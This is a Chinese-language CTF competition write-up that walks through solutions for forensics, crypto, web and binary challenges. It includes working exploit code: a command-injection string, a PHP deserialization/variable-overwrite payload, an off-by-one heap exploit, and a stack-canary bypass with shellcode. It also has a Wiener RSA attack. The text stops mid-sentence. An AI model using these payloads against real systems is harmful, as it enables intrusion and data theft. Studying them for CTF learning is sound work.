Zeropz-楚慧杯L组WP
字数 2209 2025-08-22 12:22:42
CTF竞赛解题技巧与实战分析
1. 数据安全与取证分析
1.1 手机号码提取技术
在"DS ds-findphone"题目中,展示了从数据文件中提取特定格式手机号码的技术:
import re
import csv
tmp = [734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772, 778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755, 756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777, 780, 781, 789, 790, 791, 793, 799]
data = open('data.txt', 'rb').read()
f = open('output.csv', 'w', newline='', encoding='utf-8')
writer = csv.writer(f)
head = ['category', 'value']
writer.writerow(head)
for i in tmp:
t = str(i).encode()
pattern = t + rb'\d{8}'
matches = re.findall(pattern, data)
for match in matches:
print(match)
message = ['phone', match.decode()]
writer.writerow(message)
关键点:
- 使用预定义的手机号前缀列表进行匹配
- 正则表达式模式为"3位前缀+8位数字"
- 结果输出到CSV文件,便于后续分析
1.2 特殊流量分析
在"特殊流量2"题目中,展示了从流量中提取公钥和破解替换密码的技术:
- 提取的公钥格式:
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCfhiyoPdM6svJZ+QlYywklwVcx
PkExXQDSdke4BVYMX8Hfohbssy4G7Cc3HwLvzZVDaeyTDaw+l8qILYezVtxmUePQ
5qKi7yN6zGVMUpQsV6kFs0GQVkrJWWcNh7nF6uJxuV+re4j+t2tKF3NhnyOtbd1J
RAcfJSQCvaw6O8uq3wIDAQAB
-----END PUBLIC KEY-----
- 替换密码破解:
from itertools import product
original = "xx34d619x1brxgd9mgd4xzxwxytv669w"
positions = [i for i, char in enumerate(original) if char == 'x']
replacements = product('i7', repeat=len(positions))
results = []
for combo in replacements:
temp = list(original)
for pos, repl in zip(positions, combo):
temp[pos] = repl
results.append(''.join(temp))
for result in results:
print(result)
关键点:
- 使用itertools.product生成所有可能的替换组合
- 针对每个'x'位置尝试替换为'i'或'7'
- 输出所有可能的字符串组合
1.3 内存取证技术
在"马赛克"题目中,展示了内存取证的关键步骤:
- 使用
imageinfo查看内存镜像信息 - 使用
filescan发现桌面有flag.zip文件 - 导出损坏的zip文件后,在editbox命令下发现flag文件被打乱
- 逆向恢复脚本:
recovered_f = open('./new.zip', 'rb').read()
recovered_L = len(recovered_f)
original_L = (recovered_L // 10) * 10
original_data = bytearray(original_L)
loop_count = original_L // 10
for i in range(loop_count):
original_data[5*i:5*i+5] = recovered_f[10*i:10*i+5]
original_data[original_L-5*i-5:original_L-5*i] = recovered_f[10*i+5:10*i+10]
if recovered_L % 10 != 0:
remainder = recovered_L % 10
if remainder <= 5:
original_data[:remainder] = recovered_f[-remainder:]
else:
original_data[:5] = recovered_f[-(remainder):-(remainder-5)]
original_data[original_L-(remainder-5):original_L] = recovered_f[:(remainder-5)]
with open('./recovered_flag.zip', 'wb') as recovered_file:
recovered_file.write(original_data)
关键点:
- 计算原文件长度和循环次数
- 恢复原始数据排列顺序
- 处理可能存在的余数部分
2. 密码学挑战
2.1 RSA Wiener攻击
在"ddd"题目中,展示了针对RSA的Wiener攻击实现:
import gmpy2
import libnum
def continuedFra(x, y):
cf = []
while y:
cf.append(x // y)
x, y = y, x % y
return cf
def gradualFra(cf):
numerator = 0
denominator = 1
for x in cf[::-1]:
numerator, denominator = denominator, x * denominator + numerator
return numerator, denominator
def solve_pq(a, b, c):
par = gmpy2.isqrt(b * b - 4 * a * c)
return (-b + par) // (2 * a), (-b - par) // (2 * a)
def getGradualFra(cf):
gf = []
for i in range(1, len(cf) + 1):
gf.append(gradualFra(cf[:i]))
return gf
def wienerAttack(e, n):
cf = continuedFra(e, n)
gf = getGradualFra(cf)
for d, k in gf:
if k == 0:
continue
if (e * d - 1) % k != 0:
continue
phi = (e * d - 1) // k
p, q = solve_pq(1, n - phi + 1, n)
if p * q == n:
return d
n = 114566998957451783636756389276471274690612644037126335470456866443567982817002189902938330449132444558501556339080521014838959058380963759366933946623103869574657553262938223064086322963492884606713973124514306815995276393344755433548846003574038937940253826360659447735554684257197194046341849089254659225497
e = 35489734227210930185586918984451799765619374486784192218215354633053183935617953856556709715097294481614236703293033675674496036691242573294182072757562322996800390363453350727372642264982749305833933966045097125311467413670410802534093354414115267442785896373815076066721029449240889291057288090241124904705
c = 60503455347700500866544596012233537789678841391057706123172519773588895502922586197178148979273264437566411675346207472455036341903878112074983509557751805365618433536738111588239911292341288514123006967218545943520736254346030465088445419278775539026233686559207400401082452551955780877227801939191694370380
d = wienerAttack(e, n)
m = pow(c, d, n)
print(libnum.n2s(m).decode())
关键点:
- 使用连分数展开进行攻击
- 计算渐进分数寻找可能的私钥d
- 通过验证p*q=n确认找到正确的d
2.2 AES解密技术
在"特殊流量2"题目中,展示了AES解密的技术:
from base64 import b64decode
from Crypto.Cipher import AES
from Crypto.Hash import MD5
def derive_key_and_iv(password, salt, key_length, iv_length):
d = d_i = b''
while len(d) < key_length + iv_length:
d_i = MD5.new(d_i + password + salt).digest()
d += d_i
return d[:key_length], d[key_length:key_length+iv_length]
def decrypt_openssl(enc, password):
data = b64decode(enc)
if data[:8] != b"Salted__":
raise ValueError("Invalid OpenSSL-encrypted data")
salt = data[8:16]
key, iv = derive_key_and_iv(password.encode('utf-8'), salt, 32, 16)
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(data[16:])
padding_length = decrypted[-1]
return decrypted[:-padding_length]
def brute_force_decrypt(ciphertexts, key_file):
with open(key_file, 'r') as f:
keys = f.readlines()
for key in keys:
key = key.strip()
for i, ciphertext in enumerate(ciphertexts):
try:
decrypted_text = decrypt_openssl(ciphertext, key)
return i, key, decrypted_text.decode('utf-8')
except Exception as e:
pass
return None, None, None
ciphertexts = ["U2FsdGVkX18tplkP51SopY26cczUyjuT8tP9j3Ofqv5XF5njA7CygY125iYhxplSQTNoT/kcwoN1z+4a4r/+9JtONfutcHXoyCv2tLseBHr802V/RRtFaZnZc3DM/trRmjk5SAyMSgvN+laSp6uK8eAOq7yKWq7FI+En5cu+j7+bxiuceviSoJ9gEw3SfEMtz4rYbKHagq8aCAlKPEevM+HVSnGSrMoy6QS8oQPgHkafdVj2m1HmfkdQFL5q7qYvrxVlRLbm657I0VIIusf8Q6+rsvlh28HrE3MzLlu6fd/cQ7nsZKuKYo0u4pc/yvI3RZglrd7Fb6piO4ryhs2g1g=="]
key_file = "./1.txt"
index, key, decrypted_text = brute_force_decrypt(ciphertexts, key_file)
关键点:
- 处理OpenSSL格式的加密数据
- 使用MD5派生密钥和IV
- 支持暴力破解尝试多个密钥
2.3 矩阵密码还原
在"PixMatrix"题目中,展示了矩阵变换的还原技术:
from PIL import Image
def split_image_into_8x8_blocks(image_path):
img = Image.open(image_path)
width, height = img.size
blocks = []
for y in range(0, height, 8):
for x in range(0, width, 8):
block = img.crop((x, y, x+8, y+8))
blocks.append(block)
return blocks, img.size
def split_8x8_into_4x4(block):
sub_blocks = [
block.crop((0, 0, 4, 4)), # 左上
block.crop((4, 0, 8, 4)), # 右上
block.crop((0, 4, 4, 8)), # 左下
block.crop((4, 4, 8, 8)) # 右下
]
return sub_blocks
def swap_top_right_bottom_left(sub_blocks):
sub_blocks[1], sub_blocks[2] = sub_blocks[2], sub_blocks[1]
return sub_blocks
def merge_4x4_into_8x8(sub_blocks):
new_block = Image.new("RGB", (8, 8))
new_block.paste(sub_blocks[0], (0, 0)) # 左上
new_block.paste(sub_blocks[1], (4, 0)) # 右上
new_block.paste(sub_blocks[2], (0, 4)) # 左下
new_block.paste(sub_blocks[3], (4, 4)) # 右下
return new_block
def save_processed_image(blocks, original_size, output_path):
new_img = Image.new("RGB", original_size)
block_index = 0
for y in range(0, original_size[1], 8):
for x in range(0, original_size[0], 8):
new_img.paste(blocks[block_index], (x, y))
block_index += 1
new_img.save(output_path)
def process_image(image_path, output_path):
blocks, original_size = split_image_into_8x8_blocks(image_path)
processed_blocks = []
for block in blocks:
sub_blocks = split_8x8_into_4x4(block)
sub_blocks = swap_top_right_bottom_left(sub_blocks)
new_block = merge_4x4_into_8x8(sub_blocks)
processed_blocks.append(new_block)
save_processed_image(processed_blocks, original_size, output_path)
关键点:
- 将图像分割为8x8块
- 每个块再分割为4个4x4子块
- 交换右上和左下的子块位置
- 重新合并为8x8块并保存图像
3. Web安全挑战
3.1 SSTI漏洞利用
在"Sal的图集"题目中,展示了服务器端模板注入(SSTI)的利用:
- 发现search存在SSTI漏洞
- 使用fenjing工具进行利用
- 绕过过滤:
import、builtins、cat被过滤- 使用空字符串
''绕过
关键点:
- 识别SSTI注入点
- 绕过过滤字符限制
- 读取flag文件
3.2 反序列化漏洞
在"popmart"题目中,展示了PHP反序列化漏洞的利用:
- 发现
0.0.0.0;ls可以进行RCE但长度受限 - 使用
nl命令查看文件内容 - 发现
p0pmart.php存在反序列化漏洞:
<?php
error_reporting(0);
require_once("flag.php");
class popmart {
public $yuki;
public $molly;
public $dimoo;
public function __construct() {
$this->yuki = 'tell me where';
$this->molly = 'dont_tell_you';
$this->dimoo = "you_can_guess";
}
public function __wakeup() {
global $flag;
global $where_you_go;
$this->yuki = $where_you_go;
if($this->molly === $this->yuki) {
echo $flag;
}
}
}
$pucky = $_GET['wq'];
if(isset($pucky)) {
if($pucky === "二仙桥") {
extract($_POST);
if($pucky === "二仙桥") {
die("<script>window.alert('说说看,你要去哪??');</script>");
}
unserialize($pucky);
}
}
?>
利用步骤:
- 构造popmart类的序列化字符串
- 利用extract函数进行变量覆盖
- 通过GET和POST发送payload:
GET: p0pmart.php?wq=二仙桥
POST: pucky=O:7:"popmart":3:{s:4:"yuki";s:13:"tell me where";s:5:"molly";s:13:"dont_tell_you";s:5:"dimoo";s:13:"you_can_guess";}&where_you_go=dont_tell_you
关键点:
- 识别反序列化入口点
- 利用extract函数进行变量覆盖
- 构造满足条件的对象属性
3.3 自动化Web挑战
在"速算比赛"题目中,展示了自动化Web挑战的解决方案:
import requests, re
sessions = requests.session()
for i in range(31):
url = 'http://139.155.126.78:18257/'
html = sessions.get(url=url)
try:
Calculate = re.findall("Calculate: (.*?)<br>", html.text)[0]
Correct_Count = re.findall("Correct Count: (.*?)<br>", html.text)[0]
answer = eval(Calculate)
print(f"提交答案:{answer}")
url = 'http://139.155.126.78:18257/'
html = sessions.post(url=url, data={"answer": answer})
except:
print(html.text)
关键点:
- 使用会话保持状态
- 正则表达式提取计算题目
- 使用eval计算表达式结果
- 自动提交答案
4. 二进制漏洞利用
4.1 堆利用技术
在"EZheap_2"题目中,展示了堆利用的高级技术:
- 保护全开情况下的利用
- edit函数存在off-by-one漏洞
- 利用show函数泄露代码段基地址:
add(0, 0x18) #0
add(1, 0x68) #1
add(2, 0x68) #2
add(3, 0x18) #3
edit(0, b'\x00'*0x18 + p8(0xe1))
free(1)
add(4, 0xd8)
show(4)
ru(b"\n")
main_addr = int(io.recv(14), 16) - 0x202160
- 劫持
_IO_2_1_stdout_泄露libc - 使用ORW链绕过execve限制
关键点:
- 利用off-by-one构造堆风水
- 泄露地址计算基址
- 使用setcontext劫持栈
- 在free_hook周围布置shellcode
4.2 Canary绕过技术
在"Inequable_Canary"题目中,展示了Canary保护机制的绕过:
- 利用任意地址写漏洞修改
__stack_chk_fail - 将
__stack_chk_fail改为vuln中ret的地址 - 栈溢出执行shellcode:
ret_addr = elf.sym['vuln']
stack_chk_fail_got = elf.got['__stack_chk_fail']
jmp_rsp = 0x40081B
ru(b"Say some old spells to start the journey\n")
payload = p64(0x400820)
sl(payload)
ru(b"Tell me the location of the Eye of the Deep Sea\n")
s(b"a"*8 + p64(stack_chk_fail_got))
ru(b"I have magic\n")
s(p64(0x4008EF))
ru(b"Let's go!\n")
sh = shellcraft.openat(-100, "/flag", 0)
sh += shellcraft.sendfile(1, 3, 0, 0x50)
payload = b"a"*0x28 + p64(jmp_rsp) + asm(sh)
s(payload)
关键点:
- 劫持栈检查失败处理函数
- 利用jmp_rsp执行栈上shellcode
- 使用openat和sendfile读取flag
5. 逆向工程挑战
5.1 二叉树遍历算法
在"bouquet"题目中,展示了二叉树遍历算法的逆向:
- 识别中序、后序和层序遍历
- 根据遍历结果重建二叉树
- 层序遍历输出flag:
from collections import deque
def LevelOrder(postorder, inorder):
def build_tree(postorder, inorder):
if not postorder or not inorder:
return None
root_val = postorder[-1]
root = {'val': root_val, 'left': None, 'right': None}
root_index = inorder.index(root_val)
root['left'] = build_tree(postorder[:root_index], inorder[:root_index])
root['right'] = build_tree(postorder[root_index:-1], inorder[root_index+1:])
return root
def bfs_traversal(root):
queue = deque([root])
while queue:
node = queue.popleft()
print(node['val'], end="")
if node['left']:
queue.append(node['left'])
if node['right']:
queue.append(node['right'])
tree_root = build_tree(postorder, inorder)
bfs_traversal(tree_root)
postorder = "j7aw_sC3addq4TAo}8_Fda{SD"
inorder = "ja7Cws_A3daTd4qDo8}F_Sd{a"
LevelOrder(postorder, inorder)
关键点:
- 根据中序和后序遍历重建二叉树
- 实现广度优先搜索(BFS)遍历
- 输出层序遍历结果作为flag
5.2 Go二进制逆向
在"go_bytes"题目中,展示了Go二进制逆向的关键技术:
- 主要加密逻辑:
(flag[i]<<4)|(flag[i+1]>>4)加上异或 - 使用ida_dbg获取r8和r9寄存器值
- 解密脚本:
r9 = [8889, 51704, 35977, 65304, 5177, 19978, 10891, 1995, 48619, 64171, 16379, 30795, 40734, 20459, 19723, 53390, 14523, 52142, 53966, 37182, 2667, 61499, 20603, 14731, 37854, 15566, 17822, 19134, 21822, 12654, 13246, 17150, 52942, 19934, 38955, 41755, 32814, 4846, 63098, 60281]
r8 = [8957, 51693, 36029, 65325, 5245, 20077, 10813, 1965, 48637, 64237, 16317, 30765, 40829, 20333, 19773, 53421, 14589, 52205, 53949, 37165, 2685, 61549, 20541, 14765, 37885, 15597, 17853, 18989, 21885, 12653, 13117, 17069, 52989, 19949, 39101, 41773, 32893, 4717, 63037, 60333]
enc = [r9[i] ^ r8[i] for i in range(len(r9))]
print(enc)
for i in range(40):
print(chr((enc[i-1] & 0xf) << 4 | (enc[i] >> 4)), end="")
关键点:
- 理解Go二进制加密逻辑
- 动态调试获取关键寄存器值
- 逆向加密算法实现解密
5.3 SM4类似算法逆向
在"zistel"题目中,展示了类似SM4结构算法的逆向:
- 二十轮Feistel结构的加密
- 关键函数sub_100261b的逆向
- 算法复现:
import libnum
def getlbytes(l):
ans = []
for i in l:
get = []
for j in range(4):
get.append(i & 0xff)
i >>= 8
ans += get
return ans
def getdword(list, mode="little"):
ans = []
for i in range(0, len(list), 4):
ans.append(int.from_bytes(list[i:i+4], mode))
return ans
def fun(a1, a2):
a2 ^= a1
temp = getlbytes([a1])
temp2 = getlbytes([a2])
for i in range(4):
ecx = temp[i] & 3
temp2[i], temp2[ecx] = temp2[ecx], temp2[i]
return getdword(temp2)[0] ^ a1
table = [0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, 0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, 0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, 0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, 0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, 0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, 0xBBDBD183, 0x05340F2E]
enc = [0x33293158, 0x60760211, 0x42185F46, 0x63746F29]
for i in range(0, len(enc), 2):
v10 = enc[i+1]
v11 = enc[i]
for i in range(20-1, -1, -1):
v10, v11 = v11 ^ fun(table[i], v10), v10
print(libnum.n2s(v10).decode()[::-1], end="")
print(libnum.n2s(v11).decode()[::-1], end="")
关键点:
- 识别Feistel结构
- 逆向关键加密函数
- 实现反向解密算法
6. 总结
本教学文档涵盖了CTF竞赛中多个关键领域的技术,包括:
- 数据安全与取证分析技术
- 密码学挑战的解决方案
- Web安全漏洞的利用方法
- 二进制漏洞利用的高级技巧
- 逆向工程的实战分析方法
每种技术都提供了详细的代码实现和关键点说明,帮助学习者深入理解CTF竞赛中的各种挑战和解决方案。通过掌握这些技术,参赛者